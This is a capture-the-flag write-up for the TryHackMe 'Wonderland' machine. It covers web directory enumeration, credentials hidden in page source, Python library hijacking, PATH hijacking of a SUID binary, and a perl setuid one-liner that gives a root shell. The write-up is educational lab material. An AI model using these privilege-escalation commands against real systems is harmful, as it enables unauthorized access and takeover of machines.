Intro
Wonderland is probably one of my favorite machines on TryHackMe, not because itβs realistic or anything, but because it teaches a lot of concepts if you havenβt been exposed to them before, and I also like literature references. Iβll start by following a trail of directories on a webpage to get some credentials which I can use to get on the machine. From there, Iβll hijack a python program and a bash script to move laterally, and finally abuse linux capabilities to get root.
Recon
Something, something nmap.
kali@kali:~/ctf/thm/wonderland$ rustscan --ulimit 5000 10.10.239.191 -- -A -oN scans/initscan.txt.----. .-. .-. .----..---. .----. .---. .--. .-. .-.| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| || .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'Faster Nmap scanning with Rust.________________________________________: https://discord.gg/GFrQsGy :: https://github.com/RustScan/RustScan : --------------------------------------π΅ https://admin.tryhackme.com
[~] The config file is expected to be at "/home/kali/.config/rustscan/config.toml"[~] Automatically increasing ulimit value to 5000.Open 10.10.239.191:22Open 10.10.239.191:80[~] Starting Nmap[>] The Nmap command to be run is nmap -A -oN scans/initscan.txt -vvv -p 22,80 10.10.239.191
[unimportant]
PORT STATE SERVICE REASON VERSION22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 2048 8e:ee:fb:96:ce:ad:70:dd:05:a9:3b:0d:b0:71:b8:63 (RSA)| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDe20sKMgKSMTnyRTmZhXPxn+xLggGUemXZLJDkaGAkZSMgwM3taNTc8OaEku7BvbOkqoIya4ZI8vLuNdMnESFfB22kMWfkoB0zKCSWzaiOjvdMBw559UkLCZ3bgwDY2RudNYq5YEwtqQMFgeRCC1/rO4h4Hl0YjLJufYOoIbK0EPaClcDPYjp+E1xpbn3kqKMhyWDvfZ2ltU1Et2MkhmtJ6TH2HA+eFdyMEQ5SqX6aASSXM7OoUHwJJmptyr2aNeUXiytv7uwWHkIqk3vVrZBXsyjW4ebxC3v0/Oqd73UWd5epuNbYbBNls06YZDVI8wyZ0eYGKwjtogg5+h82rnWN| 256 7a:92:79:44:16:4f:20:43:50:a9:a8:47:e2:c2:be:84 (ECDSA)| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHH2gIouNdIhId0iND9UFQByJZcff2CXQ5Esgx1L96L50cYaArAW3A3YP3VDg4tePrpavcPJC2IDonroSEeGj6M=| 256 00:0b:80:44:e6:3d:4b:69:47:92:2c:55:14:7e:2a:c9 (ED25519)|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAsWAdr9g04J7Q8aeiWYg03WjPqGVS6aNf/LF+/hMyKh80/tcp open http syn-ack Golang net/http server (Go-IPFS json-rpc or InfluxDB API)| http-methods:|_ Supported Methods: GET HEAD POST OPTIONS|_http-title: Follow the white rabbit.Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nothing out of the ordinary yet, except for the fact that the webpage is presumably written in Golang. Letβs take a look at that webpage.
A whole lot of nothing. Iβll feroxbuster without recursion (because it can sometimes blow up a server) and see if I can find anything useful.
kali@kali:~/ctf/thm/wonderland$ feroxbuster -u http://10.10.239.191 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,html --no-recursion
___ ___ __ __ __ __ __ ___|__ |__ |__) |__) | / ` / \ \_/ | | \ |__| |___ | \ | \ | \__, \__/ / \ | |__/ |___by Ben "epi" Risher π€ ver: 2.3.3ββββββββββββββββββββββββββββ¬ββββββββββββββββββββββ π― Target Url β http://10.10.239.191 π Threads β 50 π Wordlist β /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt π Status Codes β [200, 204, 301, 302, 307, 308, 401, 403, 405, 500] π₯ Timeout (secs) β 7 𦑠User-Agent β feroxbuster/2.3.3 π Config File β /etc/feroxbuster/ferox-config.toml π² Extensions β [txt, html] π« Do Not Recurse β trueββββββββββββββββββββββββββββ΄ββββββββββββββββββββββ π Press [ENTER] to use the Scan Cancel Menuβ’ββββββββββββββββββββββββββββββββββββββββββββββββββ301 0l 0w 0c http://10.10.239.191/img301 0l 0w 0c http://10.10.239.191/index.html301 0l 0w 0c http://10.10.239.191/r[Didn't finish the scan because it would have taken a while]
That /r
directory is weird. If we navigate to http://10.10.239.191/r/
, we see this.
The source code doesnβt have comments either.
Shell as alice
Letβs have another go with feroxbuster and see what happens, and this time, Iβll add recursion because it just seems to be static pages (and I shouldnβt break the site as easily).
kali@kali:~/ctf/thm/wonderland$ feroxbuster -u http://10.10.239.191/r -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,html
___ ___ __ __ __ __ __ ___|__ |__ |__) |__) | / ` / \ \_/ | | \ |__| |___ | \ | \ | \__, \__/ / \ | |__/ |___by Ben "epi" Risher π€ ver: 2.3.3ββββββββββββββββββββββββββββ¬ββββββββββββββββββββββ π― Target Url β http://10.10.239.191/r π Threads β 50 π Wordlist β /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt π Status Codes β [200, 204, 301, 302, 307, 308, 401, 403, 405, 500] π₯ Timeout (secs) β 7 𦑠User-Agent β feroxbuster/2.3.3 π Config File β /etc/feroxbuster/ferox-config.toml π² Extensions β [txt, html] π Recursion Depth β 4ββββββββββββββββββββββββββββ΄ββββββββββββββββββββββ π Press [ENTER] to use the Scan Cancel Menuβ’ββββββββββββββββββββββββββββββββββββββββββββββββββ301 0l 0w 0c http://10.10.239.191/r/index.html301 0l 0w 0c http://10.10.239.191/r/a301 0l 0w 0c http://10.10.239.191/r/a/index.html301 0l 0w 0c http://10.10.239.191/r/a/b301 0l 0w 0c http://10.10.239.191/r/a/b/index.html301 0l 0w 0c http://10.10.239.191/r/a/b/b301 0l 0w 0c http://10.10.239.191/r/a/b/b/index.html301 0l 0w 0c http://10.10.239.191/r/a/b/b/i[stopped early again because time]
I think you see where this is going. At http://10.10.239.191/r/a/b/b/i/t/
, we see this:
I went to look at the source code, and I found what are probably credentials.
<!DOCTYPE html>
<head> <title>Enter wonderland</title> <link rel="stylesheet" type="text/css" href="/main.css"></head>
<body> <h1>Open the door and enter wonderland</h1> <p>"Oh, youβre sure to do that," said the Cat, "if you only walk long enough."</p> <p>Alice felt that this could not be denied, so she tried another question. "What sort of people live about here?" </p> <p>"In that direction,"" the Cat said, waving its right paw round, "lives a Hatter: and in that direction," waving the other paw, "lives a March Hare. Visit either you like: theyβre both mad."</p> <p style="display: none;">alice:HowDothThe************************************</p> <img src="/img/thm-wonderland/alice_door.png" style="height: 50rem;"></body>
Letβs try signing into SSH.
kali@kali:~/ctf/thm/wonderland$ ssh alice@10.10.239.191The authenticity of host '10.10.239.191 (10.10.239.191)' can't be established.ECDSA key fingerprint is SHA256:HUoT05UWCcf3WRhR5kF7yKX1yqUvNhjqtxuUMyOeqR8.Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added '10.10.239.191' (ECDSA) to the list of known hosts.alice@10.10.239.191's password:
Last login: Mon May 25 16:37:21 2020 from 192.168.170.1alice@wonderland:~$
I would grab the user flag, but it appears everything is what it isnβt.
alice@wonderland:~$ ls -latotal 40drwxr-xr-x 5 alice alice 4096 May 25 2020 .drwxr-xr-x 6 root root 4096 May 25 2020 ..lrwxrwxrwx 1 root root 9 May 25 2020 .bash_history -> /dev/null-rw-r--r-- 1 alice alice 220 May 25 2020 .bash_logout-rw-r--r-- 1 alice alice 3771 May 25 2020 .bashrcdrwx------ 2 alice alice 4096 May 25 2020 .cachedrwx------ 3 alice alice 4096 May 25 2020 .gnupgdrwxrwxr-x 3 alice alice 4096 May 25 2020 .local-rw-r--r-- 1 alice alice 807 May 25 2020 .profile-rw------- 1 root root 66 May 25 2020 root.txt-rw-r--r-- 1 root root 3577 May 25 2020 walrus_and_the_carpenter.py
Shell as rabbit
Normally, I would default to getting linpeas on here, but since I have a password, itβs worth just checking sudo -l
to see what alice might be able to run as sudo.
alice@wonderland:~$ sudo -l[sudo] password for alice:Matching Defaults entries for alice on wonderland: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User alice may run the following commands on wonderland: (rabbit) /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
We can check out what walrus_and_the_carpenter.py
is.
import randompoem = """The sun was shining on the sea,Shining with all his might:He did his very best to makeThe billows smooth and bright βAnd this was odd, because it wasThe middle of the night.
The moon was shining sulkily,Because she thought the sunHad got no business to be thereAfter the day was done β"Itβs very rude of him," she said,"To come and spoil the fun!"
...[trimmed for brevity]...
"I weep for you," the Walrus said."I deeply sympathize."With sobs and tears he sorted outThose of the largest size.Holding his pocket handkerchiefBefore his streaming eyes.
"O Oysters," said the Carpenter."Youβve had a pleasant run!Shall we be trotting home again?"But answer came there none βAnd that was scarcely odd, becauseTheyβd eaten every one."""
for i in range(10): line = random.choice(poem.split("\n")) print("The line was:\t", line)
Usually, python is most easily abused when using a function like eval()
where you can try and inject commands to spawn a new shell. However, this program is unmodifiable by us, and there isnβt any user input. But, we can always check the Python import PATH (not sure what itβs actually called but thatβs what Iβm going with).
alice@wonderland:~$ python3 -c 'import sys; print(sys.path)'['', '/usr/lib/python36.zip', '/usr/lib/python3.6', '/usr/lib/python3.6/lib-dynload', '/usr/local/lib/python3.6/dist-packages', '/usr/lib/python3/dist-packages']
Since python is checking the current directory first, we can actually do some hijacking. This is something that shows up in a bunch of different forms in CTFs/security (e.g. DLL Hijacking, function hooking), but the general idea is that we replace a dependency/library with one of our own, causing a program to run our code instead of what was intended.
In aliceβs home directory we can create a new random.py
file as follows:
alice@wonderland:~$ echo "import os" > random.pyalice@wonderland:~$ echo "os.system('/bin/bash')" >> random.pyalice@wonderland:~$ cat random.pyimport osos.system('/bin/bash')
When the walrus python script decides to import random
, rather than import from the library that comes with python, it will import our βmaliciousβ script instead. Since weβre running with the privileges as rabbit, weβll spawn a shell as that user, instead of a new alice shell.
alice@wonderland:~$ sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.pyrabbit@wonderland:~$ iduid=1002(rabbit) gid=1002(rabbit) groups=1002(rabbit)
Shell as hatter
We donβt have a password for rabbit, so weβre not going to be running anything with sudo anytime soon. Letβs check out rabbitβs home directory.
rabbit@wonderland:~$ cd /home/rabbitrabbit@wonderland:/home/rabbit$ ls -latotal 40drwxr-x--- 2 rabbit rabbit 4096 May 25 2020 .drwxr-xr-x 6 root root 4096 May 25 2020 ..lrwxrwxrwx 1 root root 9 May 25 2020 .bash_history -> /dev/null-rw-r--r-- 1 rabbit rabbit 220 May 25 2020 .bash_logout-rw-r--r-- 1 rabbit rabbit 3771 May 25 2020 .bashrc-rw-r--r-- 1 rabbit rabbit 807 May 25 2020 .profile-rwsr-sr-x 1 root root 16816 May 25 2020 teaParty
The teaParty
binary is interesting. We see that it has a privilege marked with an s
, indicating SUID, we could possibly use this to escalate to root. Letβs try running it to see what it does.
rabbit@wonderland:/home/rabbit$ ./teaPartyWelcome to the tea party!The Mad Hatter will be here soon.Probably by Wed, 08 Sep 2021 16:06:22 +0000Ask very nicely, and I will give you some tea while you wait for him
After playing around with this, it seems like the message will always display a time that is a couple hours past the current time. rude. How is it getting my time correctly though? Iβll have to take this binary offline so I can analyze it, since strings
doesnβt exist on the remote machine. My goto exfiltration method is pyftpdlib
, but youβre free to do what you want.
Normally, I would use ghidra
for reverse engineering, but I think thatβs a little overkill. Running strings gives us the following.
kali@kali:~/ctf/thm/wonderland$ strings teaParty/lib64/ld-linux-x86-64.so.22U~4libc.so.6setuidputsgetcharsystem__cxa_finalizesetgid__libc_start_mainGLIBC_2.2.5_ITM_deregisterTMCloneTable__gmon_start___ITM_registerTMCloneTableu/UH[]A\A]A^A_Welcome to the tea party!The Mad Hatter will be here soon./bin/echo -n 'Probably by ' && date --date='next hour' -RAsk very nicely, and I will give you some tea while you wait for himSegmentation fault (core dumped);*3$"GCC: (Debian 8.3.0-6) 8.3.0crtstuff.cderegister_tm_clones__do_global_dtors_auxcompleted.7325__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entryteaParty.c...[trimmed for brevity]...
At first glance, it doesnβt seem like we can do anything with this. However, notice how echo
is being called with an absolute path, but date
is being called by its name, which leaves it open for another hijack. If we can stick the rabbit home directory at the beginning of the PATH, and make our own date
function in the home directory, we can easily get a new shell as a different user (thereβs a setuid
command buried in the strings output).
rabbit@wonderland:/home/rabbit$ echo $PATH/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binrabbit@wonderland:/home/rabbit$ echo "#!/bin/bash" > datebash: !/bin/bash: event not foundrabbit@wonderland:/home/rabbit$ echo "#\!/bin/bash" > daterabbit@wonderland:/home/rabbit$ echo "/bin/bash" >> daterabbit@wonderland:/home/rabbit$ chmod +x daterabbit@wonderland:/home/rabbit$ export PATH=/home/rabbit:$PATHrabbit@wonderland:/home/rabbit$ echo $PATH/home/rabbit:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binrabbit@wonderland:/home/rabbit$ ./teaPartyWelcome to the tea party!The Mad Hatter will be here soon.Probably by hatter@wonderland:/home/rabbit$ iduid=1003(hatter) gid=1002(rabbit) groups=1002(rabbit)
Shell as root
Letβs check out hatterβs home directory.
hatter@wonderland:/home/rabbit$ cd /home/hatterhatter@wonderland:/home/hatter$ ls -latotal 28drwxr-x--- 3 hatter hatter 4096 May 25 2020 .drwxr-xr-x 6 root root 4096 May 25 2020 ..lrwxrwxrwx 1 root root 9 May 25 2020 .bash_history -> /dev/null-rw-r--r-- 1 hatter hatter 220 May 25 2020 .bash_logout-rw-r--r-- 1 hatter hatter 3771 May 25 2020 .bashrcdrwxrwxr-x 3 hatter hatter 4096 May 25 2020 .local-rw-r--r-- 1 hatter hatter 807 May 25 2020 .profile-rw------- 1 hatter hatter 29 May 25 2020 password.txt
Surely thereβs something good in password.txt
.
hatter@wonderland:/home/hatter$ cat password.txtWhyIs***********************
Hmmm. It doesnβt seem to be the root password, but it might be hatterβs password.
hatter@wonderland:/home/hatter$ su hatterPassword:hatter@wonderland:~$ iduid=1003(hatter) gid=1003(hatter) groups=1003(hatter)hatter@wonderland:~$ sudo -l[sudo] password for hatter:Sorry, user hatter may not run sudo on wonderland.
At least weβre actually signed in as hatter now. After some manual poking around, I decided to run linpeas.sh
. This result was pretty interesting.
ββββββββββββ£ Capabilitiesβ https://book.hacktricks.xyz/linux-unix/privilege-escalation#capabilitiesCurrent capabilities:Current: =CapInh: 0000000000000000CapPrm: 0000000000000000CapEff: 0000000000000000CapBnd: 0000003fffffffffCapAmb: 0000000000000000
Shell capabilities:0x0000000000000000=CapInh: 0000000000000000CapPrm: 0000000000000000CapEff: 0000000000000000CapBnd: 0000003fffffffffCapAmb: 0000000000000000
Files with capabilities (limited to 50):/usr/bin/perl5.26.1 = cap_setuid+ep/usr/bin/mtr-packet = cap_net_raw+ep/usr/bin/perl = cap_setuid+ep
If we look at the link attached we learn the following.
Linux capabilities provide a subset of the available root privileges to a process. This effectively breaks up root privileges into smaller and distinctive units. Each of these units can then be independently be granted to processes. This way the full set of privileges is reduced and decreasing the risks of exploitation.
/usr/bin/perl
has the set_uid
capability, meaning we can just set our UID to root. After reading a little bit more from hacktricks, we can use GTFOBins to find the command that will take us to root
hatter@wonderland:/tmp$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'# iduid=0(root) gid=1003(hatter) groups=1003(hatter)
I can then grab the user flag (which is in the root directory), and the root flag which we missed from before.
# cat /root/user.txtthm{"Cu***********************}# cat /home/alice/root.txtthm{Twinkle***************************************************}